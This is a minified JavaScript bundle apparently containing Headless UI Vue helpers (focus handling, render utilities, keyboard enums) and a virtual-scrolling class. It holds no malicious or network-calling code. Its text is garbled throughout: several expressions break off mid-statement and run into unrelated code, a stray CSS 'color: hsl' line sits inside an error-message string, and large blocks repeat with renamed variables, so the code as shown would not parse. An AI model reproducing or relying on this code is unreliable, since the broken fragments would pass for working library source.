e.ownerDocument;if(e!=null&&e.hasOwnProperty("value")){let t=ee(e);if(t)return t.ownerDocument}return document}let Eo=["[contentEditable=true]","[tabindex]","a[href]","area[href]","button:not([disabled])","iframe","input:not([disabled])","select:not([disabled])","textarea:not([disabled])"].map(e=>`${e}:not([tabindex='-1'])`).join(",");var cu=(e=>(e[e.First=1]="First",e[e.Previous=2]="Previous",e[e.Next=4]="Next",e[e.Last=8]="Last",e[e.WrapAround=16]="WrapAround",e[e.NoScroll=32]="NoScroll",e))(cu||{}),hu=(e=>(e[e.Error=0]="Error",e[e.Overflow=1]="Overflow",e[e.Success=2]="Success",e[e.Underflow=3]="Underflow",e))(hu||{}),pu=(e=>(e[e.Previous=-1]="Previous",e[e.Next=1]="Next",e))(pu||{}),Ba=(e=>(e[e.Strict=0]="Strict",e[e.Loose=1]="Loose",e))(Ba||{});function vs(e,t=0){var r;return e===((r=Oa(e))==null?void 0:r.body)?!1:tt(t,{0(){return e.matches(Eo)},1(){let n=e;for(;n!==null;){if(n.matches(Eo))return!0;n=n.parentElement}return!1}})}var bu=(e=>(e[e.Keyboard=0]="Keyboard",e[e.Mouse=1]="Mouse",e))(bu||{});typeof window<"u"&&typeof document<"u"&&(document.addEventListener("keydown",e=>{e.metaKey||e.altKey||e.ctrlKey||(document.documentElement.dataset.headlessuiFocusVisible="")},!0),document.addEventListener("click",e=>{e.detail===1?delete document.documentElement.dataset.headlessuiFocusVisible:e.detail===0&&(document.documentElement.dataset.headlessuiFocusVisible="")},!0));function ms(e,t=r=>r){return e.slice().sort((r,n)=>{let i=t(r),a=t(n);if(i===null||a===null)return 0;let o=i.compareDocumentPosition(a);return o&Node.DOCUMENT_POSITION_FOLLOWING?-1:o&Node.DOCUMENT_POSITION_PRECEDING?1:0})}function vu(){return/iPhone/gi.test(window.navigator.platform)||/Mac/gi.test(window.navigator.platform)&&window.navigator.maxTouchPoints>0}function mu(){return/Android/gi.test(window.navigator.userAgent)}function gs(){return vu()||mu()}function Un(e,t,r){Ia.isServer||Ct(n=>{document.addEventListener(e,t,r),n(()=>document.removeEventListener(e,t,r))})}function gu(e,t,r){Ia.isServer||Ct(n=>{window.addEventListener(e,t,r),n(()=>window.removeEventListener(e,t,r))})}function ys(e,t,r=q(()=>!0)){function n(a,o){if(!r.value||a.defaultPrevented)return;let s=o(a);if(s===null||!s.getRootNode().contains(s))return;let c=function b(p){return typeof p=="function"?b(p()):Array.isArray(p)||p instanceof Set?p:[p]}(e);for(let b of c){if(b===null)continue;let p=b instanceof HTMLElement?b:ee(b);if(p!=null&&p.contains(s)||a.composed&&a.composedPath().includes(p))return}return!vs(s,Ba.Loose)&&s.tabIndex!==-1&&a.preventDefault(),t(a,s)}let i=re(null);Un("pointerdown",a=>{var o,s;r.value&&(i.value=((s=(o=a.composedPath)==null?void 0:o.call(a))==null?void 0:s[0])||a.target)},!0),Un("mousedown",a=>{var o,s;r.value&&(i.value=((s=(o=a.composedPath)==null?void 0:o.call(a))==null?void 0:s[0])||a.target)},!0),Un("click",a=>{gs()||i.value&&(n(a,()=>i.value),i.value=null)},!0),Un("touchend",a=>n(a,()=>a.target instanceof HTMLElement?a.target:null),!0),gu("blur",a=>n(a,()=>window.document.activeElement instanceof HTMLIFrameElement?window.document.activeElement:null),!0)}function Ao(e,t){if(e)return e;let r=t??"button";if(typeof r=="string"&&r.toLowerCase()==="button")return"button"}function xs(e,t){let r=re(Ao(e.value.type,e.value.as));return Rt(()=>{r.value=Ao(e.value.type,e.value.as)}),Ct(()=>{var n;r.value||ee(t)&&ee(t)instanceof HTMLButtonElement&&!((n=ee(t))!=null&&n.hasAttribute("type"))&&(r.value="button")}),r}function Io(e){return[e.screenX,e.screenY]}function ws(){let e=re([-1,-1]);return{wasMoved(t){let r=Io(t);return e.value[0]===r[0]&&e.value[1]===r[1]?!1:(e.value=r,!0)},update(t){e.value=Io(t)}}}function yu({container:e,accept:t,walk:r,enabled:n}){Ct(()=>{let i=e.value;if(!i||n!==void 0&&!n.value)return;let a=Oa(e);if(!a)return;let o=Object.assign(c=>t(c),{acceptNode:t}),s=a.createTreeWalker(i,NodeFilter.SHOW_ELEMENT,o,!1);for(;s.nextNode();)r(s.currentNode)})}var jr=(e=>(e[e.None=0]="None",e[e.RenderStrategy=1]="RenderStrategy",e[e.Static=2]="Static",e))(jr||{}),xu=(e=>(e[e.Unmount=0]="Unmount",e[e.Hidden=1]="Hidden",e))(xu||{});function er({visible:e=!0,features:t=0,ourProps:r,theirProps:n,...i}){var a;let o=Ms(n,r),s=Object.assign(i,{props:o});if(e||t&2&&o.static)return Wi(s);if(t&1){let c=(a=o.unmount)==null||a?0:1;return tt(c,{0(){return null},1(){return Wi({...i,props:{...o,hidden:!0,style:{display:"none"}}})}})}return Wi(s)}function Wi({props:e,attrs:t,slots:r,slot:n,name:i}){var a,o;let{as:s,...c}=Pn(e,["unmount","static"]),b=(a=r.default)==null?void 0:a.call(r,n),p={};if(n){let m=!1,E=[];for(let[I,B]of Object.entries(n))typeof B=="boolean"&&(m=!0),B===!0&&E.push(I);m&&(p["data-headlessui-state"]=E.join(" "))}if(s==="template"){if(b=Ss(b??[]),Object.keys(c).length>0||Object.keys(t).length>0){let[m,...E]=b??[];if(!wu(m)||E.length>0)throw new Error(['Passing props on "template"!',"",`The current component <${i} /> is rendering a "template".`,"However we need to passthrough the following props:",Object.keys(c).concat(Object.keys(t)).map(C=>C.trim()).filter((C,F,z)=>z.indexOf(C)===F).sort((C,F)=>C.localeCompare(F)).map(C=>` - ${C}`).join(` + color: hsl(${Math.max(0,Math.min(120-120*C,120))}deg 100% 31%);`,r==null?void 0:r.key)}return(d=r==null?void 0:r.onChange)==null||d.call(r,i),i}}function Ki(e,t){if(e===void 0)throw new Error("Unexpected undefined");return e}const Vl=(e,t)=>Math.abs(e-t)<1,Kl=(e,t,r)=>{let n;return function(...i){e.clearTimeout(n),n=e.setTimeout(()=>t.apply(this,i),r)}},Wl=e=>e,Jl=e=>{const t=Math.max(e.startIndex-e.overscan,0),r=Math.min(e.endIndex+e.overscan,e.count-1),n=[];for(let i=t;i<=r;i++)n.push(i);return n},Yl=(e,t)=>{const r=e.scrollElement;if(!r)return;const n=e.targetWindow;if(!n)return;const i=s=>{const{width:o,height:d}=s;t({width:Math.round(o),height:Math.round(d)})};if(i(r.getBoundingClientRect()),!n.ResizeObserver)return()=>{};const a=new n.ResizeObserver(s=>{const o=s[0];if(o!=null&&o.borderBoxSize){const d=o.borderBoxSize[0];if(d){i({width:d.inlineSize,height:d.blockSize});return}}i(r.getBoundingClientRect())});return a.observe(r,{box:"border-box"}),()=>{a.unobserve(r)}},Mo={passive:!0},Xl=typeof window>"u"?!0:"onscrollend"in window,Gl=(e,t)=>{const r=e.scrollElement;if(!r)return;const n=e.targetWindow;if(!n)return;let i=0;const a=Xl?()=>{}:Kl(n,()=>{t(i,!1)},e.options.isScrollingResetDelay),s=b=>()=>{i=r[e.options.horizontal?"scrollLeft":"scrollTop"],a(),t(i,b)},o=s(!0),d=s(!1);return d(),r.addEventListener("scroll",o,Mo),r.addEventListener("scrollend",d,Mo),()=>{r.removeEventListener("scroll",o),r.removeEventListener("scrollend",d)}},Zl=(e,t,r)=>{if(t!=null&&t.borderBoxSize){const n=t.borderBoxSize[0];if(n)return Math.round(n[r.options.horizontal?"inlineSize":"blockSize"])}return Math.round(e.getBoundingClientRect()[r.options.horizontal?"width":"height"])},Ql=(e,{adjustments:t=0,behavior:r},n)=>{var i,a;const s=e+t;(a=(i=n.scrollElement)==null?void 0:i.scrollTo)==null||a.call(i,{[n.options.horizontal?"left":"top"]:s,behavior:r})};class eu{constructor(t){this.unsubs=[],this.scrollElement=null,this.targetWindow=null,this.isScrolling=!1,this.scrollToIndexTimeoutId=null,this.measurementsCache=[],this.itemSizeCache=new Map,this.pendingMeasuredCacheIndexes=[],this.scrollRect=null,this.scrollOffset=null,this.scrollDirection=null,this.scrollAdjustments=0,this.elementsCache=new Map,this.observer=(()=>{let r=null;const n=()=>r||(!this.targetWindow||!this.targetWindow.ResizeObserver?null:r=new this.targetWindow.ResizeObserver(i=>{i.forEach(a=>{this._measureElement(a.target,a)})}));return{disconnect:()=>{var i;return(i=n())==null?void 0:i.disconnect()},observe:i=>{var a;return(a=n())==null?void 0:a.observe(i,{box:"border-box"})},unobserve:i=>{var a;return(a=n())==null?void 0:a.unobserve(i)}}})(),this.range=null,this.setOptions=r=>{Object.entries(r).forEach(([n,i])=>{typeof i>"u"&&delete r[n]}),this.options={debug:!1,initialOffset:0,overscan:1,paddingStart:0,paddingEnd:0,scrollPaddingStart:0,scrollPaddingEnd:0,horizontal:!1,getItemKey:Wl,rangeExtractor:Jl,onChange:()=>{},measureElement:Zl,initialRect:{width:0,height:0},scrollMargin:0,gap:0,indexAttribute:"data-index",initialMeasurementsCache:[],lanes:1,isScrollingResetDelay:150,enabled:!0,...r}},this.notify=(r,n)=>{var i,a;const{startIndex:s,endIndex:o}=this.range??{startIndex:void 0,endIndex:void 0},d=this.calculateRange();(r||s!==(d==null?void 0:d.startIndex)||o!==(d==null?void 0:d.endIndex))&&((a=(i=this.options).onChange)==null||a.call(i,this,n))},this.cleanup=()=>{this.unsubs.filter(Boolean).forEach(r=>r()),this.unsubs=[],this.scrollElement=null,this.targetWindow=null,this.observer.disconnect(),this.elementsCache.clear()},this._didMount=()=>()=>{this.cleanup()},this._willUpdate=()=>{var r;const n=this.options.enabled?this.options.getScrollElement():null;if(this.scrollElement!==n){if(this.cleanup(),!n){this.notify(!1,!1);return}this.scrollElement=n,this.scrollElement&&"ownerDocument"in this.scrollElement?this.targetWindow=this.scrollElement.ownerDocument.defaultView:this.targetWindow=((r=this.scrollElement)==null?void 0:r.window)??null,this._scrollToOffset(this.getScrollOffset(),{adjustments:void 0,behavior:void 0}),this.unsubs.push(this.options.observeElementRect(this,i=>{this.scrollRect=i,this.notify(!1,!1)})),this.unsubs.push(this.options.observeElementOffset(this,(i,a)=>{this.scrollAdjustments=0,this.scrollDirection=a?this.getScrollOffset()this.options.enabled?(this.scrollRect=this.scrollRect??this.options.initialRect,this.scrollRect[this.options.horizontal?"width":"height"]):(this.scrollRect=null,0),this.getScrollOffset=()=>this.options.enabled?(this.scrollOffset=this.scrollOffset??(typeof this.options.initialOffset=="function"?this.options.initialOffset():this.options.initialOffset),this.scrollOffset):(this.scrollOffset=null,0),this.getFurthestMeasurement=(r,n)=>{const i=new Map,a=new Map;for(let s=n-1;s>=0;s--){const o=r[s];if(i.has(o.lane))continue;const d=a.get(o.lane);if(d==null||o.end>d.end?a.set(o.lane,o):o.ends.end===o.end?s.index-o.index:s.end-o.end)[0]:void 0},this.getMeasurementOptions=Mn(()=>[this.options.count,this.options.paddingStart,this.options.scrollMargin,this.options.getItemKey,this.options.enabled],(r,n,i,a,s)=>(this.pendingMeasuredCacheIndexes=[],{count:r,paddingStart:n,scrollMargin:i,getItemKey:a,enabled:s}),{key:!1}),this.getMeasurements=Mn(()=>[this.getMeasurementOptions(),this.itemSizeCache],({count:r,paddingStart:n,scrollMargin:i,getItemKey:a,enabled:s},o)=>{var d;if(!s)return this.measurementsCache=[],this.itemSizeCache.clear(),[];this.measurementsCache.length===0&&(this.measurementsCache=this.options.initialMeasurementsCache,this.measurementsCache.forEach(m=>{this.itemSizeCache.set(m.key,m.size)}));const b=this.pendingMeasuredCacheIndexes.length>0?Math.min(...this.pendingMeasuredCacheIndexes):0;this.pendingMeasuredCacheIndexes=[];const p=this.measurementsCache.slice(0,b);for(let m=b;m{const $=a(m),L=this.elementsCache.get($);if(!N){L&&(this.observer.unobserve(L),this.elementsCache.delete($));return}L!==N&&(L&&this.observer.unobserve(L),this.observer.observe(N),this.elementsCache.set($,N)),N.isConnected&&this.resizeItem(m,this.options.measureElement(N,void 0,this))});const I=a(m),B=this.options.lanes===1?p[m-1]:this.getFurthestMeasurement(p,m),C=B?B.end+this.options.gap:n+i,F=o.get(I),z=typeof F=="number"?F:this.options.estimateSize(m),D=C+z,R=B?B.lane:m%this.options.lanes;p[m]={index:m,start:C,size:z,end:D,key:I,lane:R,measureElement:E}}return this.measurementsCache=p,p},{key:!1,debug:()=>this.options.debug}),this.calculateRange=Mn(()=>[this.getMeasurements(),this.getSize(),this.getScrollOffset()],(r,n,i)=>this.range=r.length>0&&n>0?tu({measurements:r,outerSize:n,scrollOffset:i}):null,{key:!1,debug:()=>this.options.debug}),this.getIndexes=Mn(()=>[this.options.rangeExtractor,this.calculateRange(),this.options.overscan,this.options.count],(r,n,i,a)=>n===null?[]:r({startIndex:n.startIndex,endIndex:n.endIndex,overscan:i,count:a}),{key:!1,debug:()=>this.options.debug}),this.indexFromElement=r=>{const n=this.options.indexAttribute,i=r.getAttribute(n);return i?parseInt(i,10):(console.warn(`Missing attribute name '${n}={index}' on measured element.`),-1)},this._measureElement=(r,n)=>{const i=this.indexFromElement(r),a=this.getMeasurements()[i];if(!a||!r.isConnected){this.elementsCache.forEach((o,d)=>{o===r&&(this.observer.unobserve(r),this.elementsCache.delete(d))});return}const s=this.elementsCache.get(a.key);s!==r&&(s&&this.observer.unobserve(s),this.observer.observe(r),this.elementsCache.set(a.key,r)),this.resizeItem(i,this.options.measureElement(r,n,this))},this.resizeItem=(r,n)=>{const i=this.getMeasurements()[r];if(!i)return;const a=this.itemSizeCache.get(i.key)??i.size,s=n-a;s!==0&&((this.shouldAdjustScrollPositionOnItemSizeChange!==void 0?this.shouldAdjustScrollPositionOnItemSizeChange(i,s,this):i.start{r&&this._measureElement(r,void 0)},this.getVirtualItems=Mn(()=>[this.getIndexes(),this.getMeasurements()],(r,n)=>{const i=[];for(let a=0,s=r.length;athis.options.debug}),this.getVirtualItemForOffset=r=>{const n=this.getMeasurements();if(n.length!==0)return Ki(n[hs(0,n.length-1,i=>Ki(n[i]).start,r)])},this.getOffsetForAlignment=(r,n)=>{const i=this.getSize(),a=this.getScrollOffset();n==="auto"&&(r<=a?n="start":r>=a+i?n="end":n="start"),n==="start"?r=r:n==="end"?r=r-i:n==="center"&&(r=r-i/2);const s=this.options.horizontal?"scrollWidth":"scrollHeight",d=(this.scrollElement?"document"in this.scrollElement?this.scrollElement.document.documentElement[s]:this.scrollElement[s]:0)-i;return Math.max(Math.min(d,r),0)},this.getOffsetForIndex=(r,n="auto")=>{r=Math.max(0,Math.min(r,this.options.count-1));const i=this.getMeasurements()[r];if(!i)return;const a=this.getSize(),s=this.getScrollOffset();if(n==="auto")if(i.end>=s+a-this.options.scrollPaddingEnd)n="end";else if(i.start<=s+this.options.scrollPaddingStart)n="start";else return[s,n];const o=n==="end"?i.end+this.options.scrollPaddingEnd:i.start-this.options.scrollPaddingStart;return[this.getOffsetForAlignment(o,n),n]},this.isDynamicMode=()=>this.elementsCache.size>0,this.cancelScrollToIndex=()=>{this.scrollToIndexTimeoutId!==null&&this.targetWindow&&(this.targetWindow.clearTimeout(this.scrollToIndexTimeoutId),this.scrollToIndexTimeoutId=null)},this.scrollToOffset=(r,{align:n="start",behavior:i}={})=>{this.cancelScrollToIndex(),i==="smooth"&&this.isDynamicMode()&&console.warn("The `smooth` scroll behavior is not fully supported with dynamic size."),this._scrollToOffset(this.getOffsetForAlignment(r,n),{adjustments:void 0,behavior:i})},this.scrollToIndex=(r,{align:n="auto",behavior:i}={})=>{r=Math.max(0,Math.min(r,this.options.count-1)),this.cancelScrollToIndex(),i==="smooth"&&this.isDynamicMode()&&console.warn("The `smooth` scroll behavior is not fully supported with dynamic size.");const a=this.getOffsetForIndex(r,n);if(!a)return;const[s,o]=a;this._scrollToOffset(s,{adjustments:void 0,behavior:i}),i!=="smooth"&&this.isDynamicMode()&&this.targetWindow&&(this.scrollToIndexTimeoutId=this.targetWindow.setTimeout(()=>{if(this.scrollToIndexTimeoutId=null,this.elementsCache.has(this.options.getItemKey(r))){const[b]=Ki(this.getOffsetForIndex(r,o));Vl(b,this.getScrollOffset())||this.scrollToIndex(r,{align:o,behavior:i})}else this.scrollToIndex(r,{align:o,behavior:i})}))},this.scrollBy=(r,{behavior:n}={})=>{this.cancelScrollToIndex(),n==="smooth"&&this.isDynamicMode()&&console.warn("The `smooth` scroll behavior is not fully supported with dynamic size."),this._scrollToOffset(this.getScrollOffset()+r,{adjustments:void 0,behavior:n})},this.getTotalSize=()=>{var r;const n=this.getMeasurements();let i;return n.length===0?i=this.options.paddingStart:i=this.options.lanes===1?((r=n[n.length-1])==null?void 0:r.end)??0:Math.max(...n.slice(-this.options.lanes).map(a=>a.end)),i-this.options.scrollMargin+this.options.paddingEnd},this._scrollToOffset=(r,{adjustments:n,behavior:i})=>{this.options.scrollToFn(r,{behavior:i,adjustments:n},this)},this.measure=()=>{var r,n;this.itemSizeCache=new Map,(n=(r=this.options).onChange)==null||n.call(r,this,!1)},this.setOptions(t)}}const hs=(e,t,r,n)=>{for(;e<=t;){const i=(e+t)/2|0,a=r(i);if(an)t=i-1;else return i}return e>0?e-1:0};function tu({measurements:e,outerSize:t,scrollOffset:r}){const n=e.length-1,a=hs(0,n,o=>e[o].start,r);let s=a;for(;sZ(e).getScrollElement(),i=>{i&&t._willUpdate()},{immediate:!0}),Je(()=>Z(e),i=>{t.setOptions({...i,onChange:(a,s)=>{var o;bo(r),(o=i.onChange)==null||o.call(i,a,s)}}),t._willUpdate(),bo(r)},{immediate:!0}),al(n),r}function nu(e){return ru(q(()=>({observeElementRect:Yl,observeElementOffset:Gl,scrollToFn:Ql,...Z(e)})))}function ps(e,t,r){let n=re(r==null?void 0:r.value),i=q(()=>e.value!==void 0);return[q(()=>i.value?e.value:n.value),function(a){return i.value||(n.value=a),t==null?void 0:t(a)}]}function iu(e){typeof queueMicrotask=="function"?queueMicrotask(e):Promise.resolve().then(e).catch(t=>setTimeout(()=>{throw t}))}function Xn(){let e=[],t={addEventListener(r,n,i,a){return r.addEventListener(n,i,a),t.add(()=>r.removeEventListener(n,i,a))},requestAnimationFrame(...r){let n=requestAnimationFrame(...r);t.add(()=>cancelAnimationFrame(n))},nextFrame(...r){t.requestAnimationFrame(()=>{t.requestAnimationFrame(...r)})},setTimeout(...r){let n=setTimeout(...r);t.add(()=>clearTimeout(n))},microTask(...r){let n={current:!0};return iu(()=>{n.current&&r[0]()}),t.add(()=>{n.current=!1})},style(r,n,i){let a=r.style.getPropertyValue(n);return Object.assign(r.style,{[n]:i}),this.add(()=>{Object.assign(r.style,{[n]:a})})},group(r){let n=Xn();return r(n),this.add(()=>n.dispose())},add(r){return e.push(r),()=>{let n=e.indexOf(r);if(n>=0)for(let i of e.splice(n,1))i()}},dispose(){for(let r of e.splice(0))r()}};return t}function au(){let e=Xn();return ni(()=>e.dispose()),e}function ou(){let e=au();return t=>{e.dispose(),e.nextFrame(t)}}let bs=Symbol("headlessui.useid"),su=0;function Wr(){return kt(bs,()=>`${++su}`)()}function fu(e){hn(bs,e)}function ee(e){var t;if(e==null||e.value==null)return null;let r=(t=e.value.$el)!=null?t:e.value;return r instanceof Node?r:null}function tt(e,t,...r){if(e in t){let i=t[e];return typeof i=="function"?i(...r):i}let n=new Error(`Tried to handle "${e}" but there is no handler defined. Only defined handlers are: ${Object.keys(t).map(i=>`"${i}"`).join(", ")}.`);throw Error.captureStackTrace&&Error.captureStackTrace(n,tt),n}var lu=Object.defineProperty,uu=(e,t,r)=>t in e?lu(e,t,{enumerable:!0,configurable:!0,writable:!0,value:r}):e[t]=r,_o=(e,t,r)=>(uu(e,typeof t!="symbol"?t+"":t,r),r);let cu=class{constructor(){_o(this,"current",this.detect()),_o(this,"currentId",0)}set(t){this.current!==t&&(this.currentId=0,this.current=t)}reset(){this.set(this.detect())}nextId(){return++this.currentId}get isServer(){return this.current==="server"}get isClient(){return this.current==="client"}detect(){return typeof window>"u"||typeof document>"u"?"server":"client"}},Ia=new cu;function Oa(e){if(Ia.isServer)return null;if(e instanceof Node)return e.ownerDocument;if(e!=null&&e.hasOwnProperty("value")){let t=ee(e);if(t)return t.ownerDocument}return document}let Eo=["[contentEditable=true]","[tabindex]","a[href]","area[href]","button:not([disabled])","iframe","input:not([disabled])","select:not([disabled])","textarea:not([disabled])"].map(e=>`${e}:not([tabindex='-1'])`).join(",");var du=(e=>(e[e.First=1]="First",e[e.Previous=2]="Previous",e[e.Next=4]="Next",e[e.Last=8]="Last",e[e.WrapAround=16]="WrapAround",e[e.NoScroll=32]="NoScroll",e))(du||{}),hu=(e=>(e[e.Error=0]="Error",e[e.Overflow=1]="Overflow",e[e.Success=2]="Success",e[e.Underflow=3]="Underflow",e))(hu||{}),pu=(e=>(e[e.Previous=-1]="Previous",e[e.Next=1]="Next",e))(pu||{}),Ba=(e=>(e[e.Strict=0]="Strict",e[e.Loose=1]="Loose",e))(Ba||{});function vs(e,t=0){var r;return e===((r=Oa(e))==null?void 0:r.body)?!1:tt(t,{0(){return e.matches(Eo)},1(){let n=e;for(;n!==null;){if(n.matches(Eo))return!0;n=n.parentElement}return!1}})}var bu=(e=>(e[e.Keyboard=0]="Keyboard",e[e.Mouse=1]="Mouse",e))(bu||{});typeof window<"u"&&typeof document<"u"&&(document.addEventListener("keydown",e=>{e.metaKey||e.altKey||e.ctrlKey||(document.documentElement.dataset.headlessuiFocusVisible="")},!0),document.addEventListener("click",e=>{e.detail===1?delete document.documentElement.dataset.headlessuiFocusVisible:e.detail===0&&(document.documentElement.dataset.headlessuiFocusVisible="")},!0));function ms(e,t=r=>r){return e.slice().sort((r,n)=>{let i=t(r),a=t(n);if(i===null||a===null)return 0;let s=i.compareDocumentPosition(a);return s&Node.DOCUMENT_POSITION_FOLLOWING?-1:s&Node.DOCUMENT_POSITION_PRECEDING?1:0})}function vu(){return/iPhone/gi.test(window.navigator.platform)||/Mac/gi.test(window.navigator.platform)&&window.navigator.maxTouchPoints>0}function mu(){return/Android/gi.test(window.navigator.userAgent)}function gs(){return vu()||mu()}function Un(e,t,r){Ia.isServer||Ct(n=>{document.addEventListener(e,t,r),n(()=>document.removeEventListener(e,t,r))})}function gu(e,t,r){Ia.isServer||Ct(n=>{window.addEventListener(e,t,r),n(()=>window.removeEventListener(e,t,r))})}function ys(e,t,r=q(()=>!0)){function n(a,s){if(!r.value||a.defaultPrevented)return;let o=s(a);if(o===null||!o.getRootNode().contains(o))return;let d=function b(p){return typeof p=="function"?b(p()):Array.isArray(p)||p instanceof Set?p:[p]}(e);for(let b of d){if(b===null)continue;let p=b instanceof HTMLElement?b:ee(b);if(p!=null&&p.contains(o)||a.composed&&a.composedPath().includes(p))return}return!vs(o,Ba.Loose)&&o.tabIndex!==-1&&a.preventDefault(),t(a,o)}let i=re(null);Un("pointerdown",a=>{var s,o;r.value&&(i.value=((o=(s=a.composedPath)==null?void 0:s.call(a))==null?void 0:o[0])||a.target)},!0),Un("mousedown",a=>{var s,o;r.value&&(i.value=((o=(s=a.composedPath)==null?void 0:s.call(a))==null?void 0:o[0])||a.target)},!0),Un("click",a=>{gs()||i.value&&(n(a,()=>i.value),i.value=null)},!0),Un("touchend",a=>n(a,()=>a.target instanceof HTMLElement?a.target:null),!0),gu("blur",a=>n(a,()=>window.document.activeElement instanceof HTMLIFrameElement?window.document.activeElement:null),!0)}function Ao(e,t){if(e)return e;let r=t??"button";if(typeof r=="string"&&r.toLowerCase()==="button")return"button"}function xs(e,t){let r=re(Ao(e.value.type,e.value.as));return Rt(()=>{r.value=Ao(e.value.type,e.value.as)}),Ct(()=>{var n;r.value||ee(t)&&ee(t)instanceof HTMLButtonElement&&!((n=ee(t))!=null&&n.hasAttribute("type"))&&(r.value="button")}),r}function Io(e){return[e.screenX,e.screenY]}function ws(){let e=re([-1,-1]);return{wasMoved(t){let r=Io(t);return e.value[0]===r[0]&&e.value[1]===r[1]?!1:(e.value=r,!0)},update(t){e.value=Io(t)}}}function yu({container:e,accept:t,walk:r,enabled:n}){Ct(()=>{let i=e.value;if(!i||n!==void 0&&!n.value)return;let a=Oa(e);if(!a)return;let s=Object.assign(d=>t(d),{acceptNode:t}),o=a.createTreeWalker(i,NodeFilter.SHOW_ELEMENT,s,!1);for(;o.nextNode();)r(o.currentNode)})}var jr=(e=>(e[e.None=0]="None",e[e.RenderStrategy=1]="RenderStrategy",e[e.Static=2]="Static",e))(jr||{}),xu=(e=>(e[e.Unmount=0]="Unmount",e[e.Hidden=1]="Hidden",e))(xu||{});function er({visible:e=!0,features:t=0,ourProps:r,theirProps:n,...i}){var a;let s=Ms(n,r),o=Object.assign(i,{props:s});if(e||t&2&&s.static)return Wi(o);if(t&1){let d=(a=s.unmount)==null||a?0:1;return tt(d,{0(){return null},1(){return Wi({...i,props:{...s,hidden:!0,style:{display:"none"}}})}})}return Wi(o)}function Wi({props:e,attrs:t,slots:r,slot:n,name:i}){var a,s;let{as:o,...d}=Pn(e,["unmount","static"]),b=(a=r.default)==null?void 0:a.call(r,n),p={};if(n){let m=!1,E=[];for(let[I,B]of Object.entries(n))typeof B=="boolean"&&(m=!0),B===!0&&E.push(I);m&&(p["data-headlessui-state"]=E.join(" "))}if(o==="template"){if(b=Ss(b??[]),Object.keys(d).length>0||Object.keys(t).length>0){let[m,...E]=b??[];if(!wu(m)||E.length>0)throw new Error(['Passing props on "template"!',"",`The current component <${i} /> is rendering a "template".`,"However we need to passthrough the following props:",Object.keys(d).concat(Object.keys(t)).map(C=>C.trim()).filter((C,F,z)=>z.indexOf(C)===F).sort((C,F)=>C.localeCompare(F)).map(C=>` - ${C}`).join(` `),"","You can apply a few solutions:",['Add an `as="..."` prop, to ensure that we render an actual element instead of a "template".',"Render a single element as the child so that we can forward the props onto that element."].map(C=>` - ${C}`).join(` `)].join(` -`));let I=Ms((o=m.props)!=null?o:{},c,p),B=rs(m,I,!0);for(let C in I)C.startsWith("on")&&(B.props||(B.props={}),B.props[C]=I[C]);return B}return Array.isArray(b)&&b.length===1?b[0]:b}return Lr(s,Object.assign({},c,p),{default:()=>b})}function Ss(e){return e.flatMap(t=>t.type===pn?Ss(t.children):[t])}function Ms(...e){if(e.length===0)return{};if(e.length===1)return e[0];let t={},r={};for(let n of e)for(let i in n)i.startsWith("on")&&typeof n[i]=="function"?(r[i]!=null||(r[i]=[]),r[i].push(n[i])):t[i]=n[i];if(t.disabled||t["aria-disabled"])return Object.assign(t,Object.fromEntries(Object.keys(r).map(n=>[n,void 0])));for(let n in r)Object.assign(t,{[n](i,...a){let o=r[n];for(let s of o){if(i instanceof Event&&i.defaultPrevented)return;s(i,...a)}}});return t}function _s(e){let t=Object.assign({},e);for(let r in t)t[r]===void 0&&delete t[r];return t}function Pn(e,t=[]){let r=Object.assign({},e);for(let n of t)n in r&&delete r[n];return r}function wu(e){return e==null?!1:typeof e.type=="string"||typeof e.type=="object"||typeof e.type=="function"}var ka=(e=>(e[e.None=1]="None",e[e.Focusable=2]="Focusable",e[e.Hidden=4]="Hidden",e))(ka||{});let Es=xe({name:"Hidden",props:{as:{type:[Object,String],default:"div"},features:{type:Number,default:1}},setup(e,{slots:t,attrs:r}){return()=>{var n;let{features:i,...a}=e,o={"aria-hidden":(i&2)===2?!0:(n=a["aria-hidden"])!=null?n:void 0,hidden:(i&4)===4?!0:void 0,style:{position:"fixed",top:1,left:1,width:1,height:0,padding:0,margin:-1,overflow:"hidden",clip:"rect(0, 0, 0, 0)",whiteSpace:"nowrap",borderWidth:"0",...(i&4)===4&&(i&2)!==2&&{display:"none"}}};return er({ourProps:o,theirProps:a,slot:{},attrs:r,slots:t,name:"Hidden"})}}}),As=Symbol("Context");var ur=(e=>(e[e.Open=1]="Open",e[e.Closed=2]="Closed",e[e.Closing=4]="Closing",e[e.Opening=8]="Opening",e))(ur||{});function Is(){return kt(As,null)}function Os(e){hn(As,e)}var me=(e=>(e.Space=" ",e.Enter="Enter",e.Escape="Escape",e.Backspace="Backspace",e.Delete="Delete",e.ArrowLeft="ArrowLeft",e.ArrowUp="ArrowUp",e.ArrowRight="ArrowRight",e.ArrowDown="ArrowDown",e.Home="Home",e.End="End",e.PageUp="PageUp",e.PageDown="PageDown",e.Tab="Tab",e))(me||{}),Bs=(e=>(e[e.Left=0]="Left",e[e.Right=2]="Right",e))(Bs||{});function Su(e){function t(){document.readyState!=="loading"&&(e(),document.removeEventListener("DOMContentLoaded",t))}typeof window<"u"&&typeof document<"u"&&(document.addEventListener("DOMContentLoaded",t),t())}let Tr=[];Su(()=>{function e(t){t.target instanceof HTMLElement&&t.target!==document.body&&Tr[0]!==t.target&&(Tr.unshift(t.target),Tr=Tr.filter(r=>r!=null&&r.isConnected),Tr.splice(10))}window.addEventListener("click",e,{capture:!0}),window.addEventListener("mousedown",e,{capture:!0}),window.addEventListener("focus",e,{capture:!0}),document.body.addEventListener("click",e,{capture:!0}),document.body.addEventListener("mousedown",e,{capture:!0}),document.body.addEventListener("focus",e,{capture:!0})});function Mu(e){throw new Error("Unexpected object: "+e)}var ce=(e=>(e[e.First=0]="First",e[e.Previous=1]="Previous",e[e.Next=2]="Next",e[e.Last=3]="Last",e[e.Specific=4]="Specific",e[e.Nothing=5]="Nothing",e))(ce||{});function ha(e,t){let r=t.resolveItems();if(r.length<=0)return null;let n=t.resolveActiveIndex(),i=n??-1;switch(e.focus){case 0:{for(let a=0;a=0;--a)if(!t.resolveDisabled(r[a],a,r))return a;return n}case 2:{for(let a=i+1;a=0;--a)if(!t.resolveDisabled(r[a],a,r))return a;return n}case 4:{for(let a=0;a(e[e.Open=0]="Open",e[e.Closed=1]="Closed",e))(Au||{}),Iu=(e=>(e[e.Single=0]="Single",e[e.Multi=1]="Multi",e))(Iu||{}),Ou=(e=>(e[e.Pointer=0]="Pointer",e[e.Focus=1]="Focus",e[e.Other=2]="Other",e))(Ou||{});let Rs=Symbol("ComboboxContext");function vn(e){let 